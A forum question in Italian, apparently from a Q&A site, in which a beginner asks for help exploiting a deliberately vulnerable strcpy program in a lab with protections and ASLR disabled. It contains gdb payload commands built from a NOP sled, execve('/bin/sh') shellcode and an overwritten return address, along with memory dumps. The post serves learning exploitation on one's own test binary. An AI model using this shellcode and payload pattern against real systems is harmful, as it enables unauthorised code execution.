Ho un esempio di base di un programma vulnerabile all'overflow del buffer ( estratto da questa altra domanda ).
#include <string.h>
void vuln(char *arg) {
char buffer[500];
strcpy(buffer, arg);
}
int main( int argc, char** argv ) {
vuln(argv[1]);
return 0;
}
Spiegherò il mio "flusso di pensieri":
Il mio primo approccio, dato che conosco la lunghezza del buffer, era di riempirlo interamente con "NOPs" (477 byte) + shellcode (23 byte) + NOPs + indirizzo di ritorno, essendo l'indirizzo di ritorno all'inizio del mio buffer.
gdb-peda$ r $(python -c "print '\x90'*477+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*12+'\xfc\xce\xff\xff'")
Ecco la memoria corrente:
0xffffcef8: 0x00 0x00 0x00 0x00 0x90 0x90 0x90 0x90
0xffffcf00: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffcf08: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffcf10: 0x90 0x90 0x90 0x90 0x00 0x90 0x90 0x90
0xffffcf18: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
...
0xffffd0d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd0d8: 0x00 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73
0xffffd0e0: 0x68 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3
0xffffd0e8: 0x50 0x53 0x89 0xe1 0xb0 0x0b 0xcd 0x80
0xffffd0f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd0f8: 0x90 0x90 0x90 0x90 0xfc 0xce 0xff 0xff
1) Gli ultimi 4 byte sono l'indirizzo che verrà scritto in EIP, nessun problema con questo.
2) Per far funzionare correttamente il mio shellcode, dovrebbe iniziare all'inizio di una WORD. In 0xffffd0d8 c'è un 0x00 non rimovibile che non viene sovrascritto dall'overflow del buffer. Si verifica più volte nel buffer e, per quello che ho letto, è dovuto a un comportamento del ciclo nello strcpy.
3) In questa situazione, credo di aver bisogno di trovare un altro spazio per scrivere il mio shellcode, senza "0x00" che lo frantuma.
Sembra che ci sia spazio per lo shellcode proprio all'inizio del buffer (0xffffcefc), quindi cambio il buffer
gdb-peda$ r $(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*477+'\x90'*12+'\xfc\xce\xff\xff'")
e mi assicuro che lo shellcode sia scritto correttamente nella memoria:
gdb-peda$ x/10i 0xffffcefc
=> 0xffffcefc: add al,al
0xffffcefe: push eax
0xffffceff: push 0x68732f2f
0xffffcf04: push 0x6e69622f
0xffffcf09: mov ebx,esp
0xffffcf0b: push eax
0xffffcf0c: push ebx
0xffffcf0d: mov ecx,esp
0xffffcf0f: mov al,0xb
0xffffcf11: int 0x80
gdb-peda$
Ma quando eseguo il codice, anche se vengono eseguiti i comandi shellcode, si blocca nel seguente byte "0x00" su 0xffffcf14 e non viene generata alcuna shell.
gdb-peda$ continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0xffffcf14 in ?? ()
gdb-peda$ x/10i 0xffffcf11
0xffffcf11: int 0x80
0xffffcf13: nop
=> 0xffffcf14: add BYTE PTR [eax-0x6f6f6f70],dl
0xffffcf1a: nop
0xffffcf1b: nop
0xffffcf1c: nop
0xffffcf1d: nop
0xffffcf1e: nop
0xffffcf1f: nop
0xffffcf20: nop
gdb-peda$ x/10xb 0xffffcf14
0xffffcf14: 0x00 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffcf1c: 0x90 0x90
gdb-peda$
Il codice è stato compilato usando:
gcc -m32 -z execstack strcpy_ex.c -fno-stack-protector -o strcpy
e, naturalmente, ASLR è disabilitato.
Informazioni aggiuntive:
# uname -a
Linux kali 4.9.0-kali4-amd64 #1 SMP Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linux
Sono un principiante nello sfruttamento, ma ho pensato che fosse un semplice esercizio e mi dava dei grattacapi ... Qualcuno può aiutarmi a capire il modo giusto per sfruttare questo buffer overflow?